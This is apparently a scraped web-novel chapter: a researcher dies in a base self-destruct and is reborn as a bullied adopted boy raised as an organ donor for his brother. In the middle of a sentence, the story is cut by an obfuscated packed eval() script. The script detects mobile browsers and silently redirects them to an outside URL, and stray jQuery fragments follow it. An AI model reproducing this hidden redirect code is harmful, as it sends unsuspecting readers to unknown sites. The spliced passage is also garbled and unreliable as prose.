1. 第 1 章

作品:《献给魔龙的漂亮小圣子

    星际联邦,首都星,“回声”绝密基地。


    ***身份验证:最高权限认证通过***


    ***系统确认:二级密钥匹配成功***


    ***通讯干扰:已屏蔽全基地信号***


    ***核心能源:安全锁依程序解除***


    ***系统响应:正在触发一级指令***


    ***最终确认:自毁程序已启动***


    ***倒计时:300秒***


    哔——


    最高等级的警报声顿时响彻整个基地,尖锐的哨音和闪烁的红灯宛若忽至的洪水,叫嚣着淹没所有的秘密。


    自中心能源区骤然升腾而起的热量水波一样向周围扩散,比有形的火焰还令人心焦。研究员们手忙脚乱搬着自己的东西,匆匆逃跑的脚步却盖不掉刺耳的、索命般的倒计时。


    “组长,怎么办?”


    “他们居然来真的……”


    “我们的命他们就不在乎了吗?”


    “天杀的联邦!!”


    “楚博士,还有一些实验品关在冷却池,那边的大门因为温度过高自动锁定了……”


    惊慌、愤怒、恐惧……人们激烈的情绪越垒越高,不相信投身多年的心血会这样化为乌有,不相信高层竟能残忍至此,更无法相信一直以来被联邦重用的自己就这么成了封口的牺牲品。


    【倒计时230、229、228……】


    泼洒在基地中的红灯如同大火,在这无形的烈焰之间,被称为“组长”和“楚博士”的青年的脸色却格外苍白。


    他是基地唯一S级涉密项目组的组长,也是现场职级最高的研究员,在紧急情况下可以越过基地负责人,直接接管所有人员和实验品的调动权限。


    但现在,高层显然要他们全都葬身大火,要联邦最肮脏的丑闻石沉海底——只有死人绝不会泄密。


    青年清瘦疏冷,好似随时会融化的雪人,可一开口却有叫所有人都安下心来的魔力:“所有人,根据自己平时的项目组分配,C级以下实验品就地销毁,B级自行选择处理方式,A级尽力抢救,水生实验品切记放入降温剂……”


    一个研究员战战兢兢举手:“组长,那S级……”


    青年微微叹了口气:“他你们都不要管了,我去吧。”


    研究员们欲言又止,谁都知道那是个随心所欲、不受控的小怪物,可也都清楚,全世界恐怕只有楚博士能管得了那家伙。


    “那您务必注意安全。”


    【倒计时150、149、148……】


    青年匆匆奔向位于基地最底层的S级实验室,越来越招摇的气温使得大颗大颗的汗从额角滴落,将他的侧脸浸润出一层玉一样的冷白。


    合金大门被高温熏得滚热,他忍着手指被烫出气泡的疼痛,迫切地解锁一重又一重的保护认证。


    大门的里面,隐约传来少年清脆的嗓音:


    “楚惟,是你吗?”


    “楚惟,这里怎么变得这么热了?”


    “楚惟,我不喜欢这种感觉,你快带我出去嘛。”


    “楚惟,这个门好讨厌,每次都在阻止我见你。”


    “楚惟,我有七个小时没见到你啦,好想你……”


    一如既往的撒娇语调,反而叫楚惟紧绷的情绪软和些许。他没有意识到自己的声音里带上了笑意,熟稔地安抚没耐心的小怪物:“别急,马上就打开了。”


    【倒计时90、89、88……】


    自毁程序瓦解基地内部的指令的速度比想象中还要快,有几重密码已被重制,楚惟失去原先权限,不得不尝试初始化代码。


    “楚惟,门卡住了吗?要不我来吧?”少年好心提议。从声音的远近判断,他已经跳出自己的培养皿,来到门后。


    楚惟:“……还是我来吧。”


    这小怪物哪里有密码,只会物理开门。


    到那时候遭殃的说不定不止基地,而一墙之隔的自己八成首当其冲最先壮烈。


    等等这小子什么时候有这重暴力破解的能力了?还一直装作被关着出不来的乖宝宝样儿……


    现在不是想这个的时候。


    他擦了擦快要流进眼里的汗,透明的液体从睫毛上坠落,仿佛一滴泪,在灼烫的半空中消融于无形。


    【倒计时20,19,18……】


    “楚惟,这是什么声音?为什么在倒数?”


    “楚惟,发生什么事了?”


    “楚惟,你还好吗?”


    少年显而易见变得不安起来。


    这不是好征兆,小怪物一旦暴走,破坏力不可估量,毁灭基地都是轻的,搞不好小半个星球都要跟着沦陷。


    楚惟连忙给他顺毛,放柔嗓音:“什么都没有发生呀,我这不是来接你了吗?”


    “可放风时间不是现在吧。”少年嘀嘀咕咕,将信将疑。


    楚惟没有再回答这个问题,生怕自己的焦灼会暴露,转移话题问他今天的放风时间想做什么。


    少年想了想:“你弹春赫琴给我听好不好?”


    楚惟回想了下春赫琴存放的位置,是最先被放弃的地点,但他还是答应:“好,出去就弹给你听。”


    【倒计时10、9、8……】


    最后几秒的生死关头,楚惟绝望地意识到自己已经无法开启大门,汗打湿了白大褂和衬衫,他体力不支跪在地上,虚弱如同溺水之人,低声喃喃着少年的名字。


    “……凯……”


    门里的小怪物听见神明的呼唤,仅用双臂的力量,强行撕开了有最强堡垒之称的合金材料大门,一把将几近昏迷的人类抱入怀中:“楚惟——!!”


    倒计时归零,自毁程序加载完毕。


    刹那间,爆炸吞没了整个基地。


    意识彻底消散之前,楚惟只记得那双眼眸。


    流转着金色的光芒,无论何时,总是痴痴地凝望着自己。


    仿佛他愿做他最锋利的剑,最坚固的盾。


    ——最虔诚的、永不背弃的信徒。


    *


    菲亚兰大陆,西部,溯夜镇。


    男孩从混乱的梦境中睁开眼,令人惶恐的高热从梦里一直灼烧到现实。


    置身火海般的逼真感受来源于面前被点燃的枯叶堆,它们噼啪作响,随时有可能燎上他的衣角。


    小孩连忙起身,下意识向后退,却忽视了后面盘根错节的树根,被绊了一跤摔倒在地。


    他的手掌蹭破了皮,雪白的小脸和干净的衣裳也沾上了污渍,像是月亮跌进了污泥里。


    浑小子们嘻嘻哈哈笑起来,点燃枯叶堆的事儿当然是他们做的,目的就是为了看楚惟衣服被烧到之后的狼狈;虽然没见到理想的一幕,能看到他摔跤也够让他们高兴好几天了。


    欺负楚惟向来是镇上男孩儿们怎么也玩不腻的爱好,在他们看来,楚惟性格太文静,皮肤太白净,头发太丝滑,一个男孩子漂亮得像个小姑娘,就该是被“矫正”的对象。


    尤其当浑小子们的领头人是“受害者”的哥哥,楚家那位捧在手心里的大少爷楚南膺,更像有了靠山。


    “楚南膺楚南膺,这下他回家肯定要被骂了吧。”


    “嘿嘿,膺哥这主意可真好。”


    “瞧他那个样子,是不是要哭鼻子了?”


    “哎哟,真是不知羞……”


    浑小子们叽叽喳喳,被他们围在中间的楚南膺脸上挂着笑,遥遥望着自己那窘迫的、被所有人排挤的弟弟,心中生起刺痛的快意。


    看到了吗,所有人都不喜欢你。人人都讨厌你。


    你就是个万人嫌,是楚家徒有虚名、没有血统、更不会分得一星半点偏爱的假少爷,到底有什么可高傲的?


    高大的橡树下,小小的孩子撑着站起来,垂下眼睛仔细地拍打着衣角上的灰尘,用淡绿色的丝带把乱掉的长发重新绑起来,不理会那边带着鲜明恶意的讥笑和讽刺。


    楚惟总是这样,安安静静的,受了怎样的捉弄也不反击,更不会哭泣,是冬夜里飘落于人间的第一茬新雪,绝对纯净,绝对无瑕。


    他越是这样淡漠,仿佛那些孩子做什么都影响不到他,也越叫楚南膺恼火。


    楚家是溯夜镇首屈一指的富商,菲亚兰大陆西部往来的药材贸易几乎都被楚家垄断,带动着整个镇子发展起来,在镇民里很有声望。


    楚南膺作为备受宠爱的长子,不仅有一群同龄的追捧者,就算是镇上的大人也要对他礼让三分——除了他的弟弟。


    楚惟从来不会迎合他,更不会做什么讨好他。


    或者说,楚惟根本不把他放在眼里。


    心高气傲的大少爷哪里受得了这种委屈,家里家外想尽各种办法刁难楚惟,要的就是有朝一日他能跪在面前,用那双冷淡漂亮的黑眼睛仰视自己,含泪恳求他高抬贵手放过他。


    他一定要楚惟眼里看得到自己才行。


    楚南膺见楚惟不为所动,更是恼火,在小弟们的目送下雄赳赳气昂昂上前,一把把本就柔弱的弟弟推倒在地:“看到你就来气,这是你应得的!”


    这个年纪的孩子不知收着力气,这一下子推搡得小楚惟整个仰倒在地。


    手上先前还没愈合的伤口再次被粗粝的石子撕裂,渗出殷红的血。


    楚南膺见了血,顿觉自己好像做了坏事,连连向后退,慌张道:“我、我……这不是我干的,是你自己……对,你自己的问题!”


    他半是心慌,半是加倍地厌恶,可能还有一丝连自己都没有察觉、更不会承认的心疼,这些互相打架的观念混合成无名怒火,揪起地上焚尽的枯叶洒到楚惟身上,扭头就跑。


    楚惟再怎么被孩子们孤立,毕竟是楚家的小少爷,真受了伤其他孩子可是得罪不起的。


    浑小子们见老大都撤退了,纷纷作鸟兽散。


    灰烬差点儿钻进眼睛里,小楚惟揉了揉眼,不小心把血渍也抹到了脸上。


    原本白白嫩嫩的小脸上黑一道红一道的脏污,不像是富商家锦衣玉食的小公子,倒像街头褴褛的小乞丐。


    那月亮沉入了深深的沼泽里。


    *


    旧伤未愈,又添新伤,钻心的疼痛让小孩子轻轻抽了口气。


    他反手用衣袖抹了抹脸,扶着树干站起来,看见自己沾满枯枝灰尘的衣裳,想着,待会儿回家又要挨骂了。


    其实也没什么。他早就习惯了。


    这样的生活,他已经度过了快要八年。


    溯夜镇人人都知道他是楚家的二少爷,也知道他不受宠,都以为是他孤僻怪异的性格所致。


    真正的原因男孩自己倒是很清楚:他根本不是楚家亲生的孩子,而是抱养来的弃婴。


    横行霸道的兄长楚南膺有着无法治疗的先天基因病,随时可能丧命。楚家父母重金求医无果,为了独子的病操碎了心,菲亚兰神明保佑,居然让他们找到一个和楚南膺的基因完全匹配的小孤儿。


    他们把孤儿带回了家,平日里定期为独子输血以稳定病情,并且时刻准备着在最危急的关头直接为楚南膺更换器官。


    小楚惟非常明白自己的命运:活着,直到某天成为兄长的替死鬼。


    反正都是要死的,活着的时候跟那些孩子又有什么可争执的呢?


    他不像他们,没有未来。


    “啾,啾啾!”


    清亮的鸣啭打断了孩子的思绪,他抬起头,看见一只小鸟飞过来,有着好看的青色


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129202|164377||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    羽毛。


    楚惟抬起没受伤的那只手,鸟儿自来熟地落在他的掌心。


    小楚惟虽然不受同龄孩子、或者说整个镇上的人们待见,却很招小动物们喜欢。


    无论是铁匠家凶猛的大狼狗,还是面包坊难以驯养的黑猫,又或者吟游诗人那只总追着他啄的蓝鹦鹉……这群平日里对主人爱答不理的小动物们,一见到楚惟立刻翻肚皮撒娇。


    浑小子们对此嗤之以鼻:干脆缩到童话故事里当公主好了。


    小鸟儿不是空爪来的,还带了礼物:一颗橘色的浆果。


    成长在药材世家的楚惟一眼就认出了它,能够镇痛、止血、消炎,正是眼下所需要的。


    鸟儿拍打着翅膀再次飞起来,衔着浆果,喙轻轻一用力,浆果的表皮爆开,流淌出汁液。


    楚惟将它们涂抹在伤口上,忍着针扎似的痛,眼见着触目惊心的伤痕以肉眼可见的速度愈合。


    不多时,皮肤重归细腻。


    很小的时候他就发现了这件事:自己身上的伤口总是好得很快,像被某种治愈的魔法所眷顾。


    这也为他带来了烦恼:楚南膺和浑小子们直接或间接让他受的伤,总在回到家之前就能恢复如初,一点儿证据都留存不下来。


    当然,有没有证据,养父母也不会在乎。


    谁会在乎一个血袋、一个器官供给体的感受呢?


    “谢谢你呀。”


    楚惟轻声道谢,小鸟儿啁啾两声回应,继而吞掉剩下的果子,用毛茸茸的小脑袋亲昵地蹭了蹭他。


    这让男孩露出了今天的第一个笑容。


    入冬后的夜晚温度骤降,结束劳作的人们早早回了家,落日未尽之时,街道上已经没几个人影。


    小孩子拢着脏兮兮的外套,独自在橡树下呆了很久。


    从这个角度隐约看得见溯夜镇外远处的悬崖,光秃秃的峭壁挂着粗壮的龙骨藤,星星点点缀着蓝紫色的附生花,和需要很好的视力才能分辨出的参类。


    他记得它们的生长习性、药用价值、调和配方,却更向往这些生命虽诞生于如此严酷的环境,依旧能存活下来。


    那样孱弱,又那样坚韧。


    小楚惟着迷地看着,直到被冷得一连打了好几个喷嚏,才叹了口气站起来,踩着夕阳的尾巴慢吞吞回家。


    他一进门,就听见养父母围着楚南膺打转:


    “宝贝,马上就是你八岁生日了,想要什么礼物?”


    “上次拍卖会的那颗精灵族的绿钻,喜不喜欢?妈咪帮你拿下!”


    “还是你想要矮人族打造的金斧头?爸爸和他们有些交情……”


    “或者……”


    楚南膺翘着二郎腿,满脸不耐烦:“这些垃圾我都不想要。下周的礼仪和骑术课能不能不上?”


    楚先生脸色变了变:“那可是我们花了大价钱才为你找来的老师,以后你想进入贵族学校,就必须先……”


    如此父慈子孝的场面,楚惟并不想打扰。


    他轻手轻脚换了鞋,正准备悄悄回房间,却被管家注意到了存在:“二少爷回来啦。”


    一家三口和和乐乐的气氛被泼了冷水,楚夫人花了不少钱才抽中的拍卖会门票被儿子称作“垃圾”,正心有不快无处发泄,养子就撞了上来。


    楚惟虽不是亲生的,对外身份一直是他们家的小儿子,楚夫人自认给他的吃穿用度从来不差,好歹要担得起药材巨贾的名头;这身才买不久的羊毛斗篷和天鹅绒背心是最近才买的,出去一下午就被楚惟搞得烂糟糟。


    楚夫人皱起眉:“怎么搞成这个样子?”


    楚先生也面露不悦:“你在外面,代表的是我们楚家的脸面。”


    楚南膺在他们后面龇牙咧嘴,威胁楚惟不许把他带头霸凌他的事向父母告状。


    小孩子听着他们的数落,垂着眼睛不声不响。


    等两人喋喋不休告一段落,才低声道歉:“对不起,先生,夫人,我以后不会这样了。”


    语气是谦卑的,神态却不是。


    看上去纤细脆弱的一层壳,护着内里是凿不透的坚冰。


    在需要的场合,他也会唤他们为父母;但没有外人在的时候,楚惟很清楚自己的定位,和家里的仆役一样称呼他们先生夫人,尊敬而疏远。


    那孩子向来凉薄得像雪,谁都捂不热。


    楚家夫妇一直认为他们收养楚惟是做善事,若没有他们,无依无靠的弃婴早就冻死在大雪中,哪儿能好吃好喝供养到现在。


    至于养子从婴儿时期就要隔三差五要给亲儿子输血,不过是收取一点微薄的抚养费,根本没法和他们的养育之恩相比较。


    他们总扯着这样冠冕堂皇的幌子,忽略掉任何有可能因为虐待儿童而滋生的罪恶感,然而今天这一称呼突然戳中了成年人隐匿的心思,叫他们不禁恼羞成怒。


    “……看到你就晦气,去去去,回你的房间去。”两人嫌弃地扭头,看向亲生儿子时又笑靥如花,“膺膺啊,说,今年的生日派对想要怎么搞?妈咪帮你举办个全镇最盛大的!到时候让你所有的朋友都见识见识……”


    楚家两个同龄的孩子,却只有一个能够过上生日。但无论对哪一个而言这都是喜事。


    对于楚南膺来说,他的病情有如定时炸.弹,每多活一年都是值得庆贺之事,八岁生日当然一如既往要隆重庆贺;


    对于楚惟也是同样,只要楚南膺健康,他就不用为他去死。和能活着相比,有没有生日祝福显得一点都不重要。


    男孩们忘了,大人也忘了。


    在菲亚兰,今年所有刚满、马上年满八岁的孩童,都将站上命运的岔路口。


    ——十年一度的至高祭坛圣子遴选,就要开始了。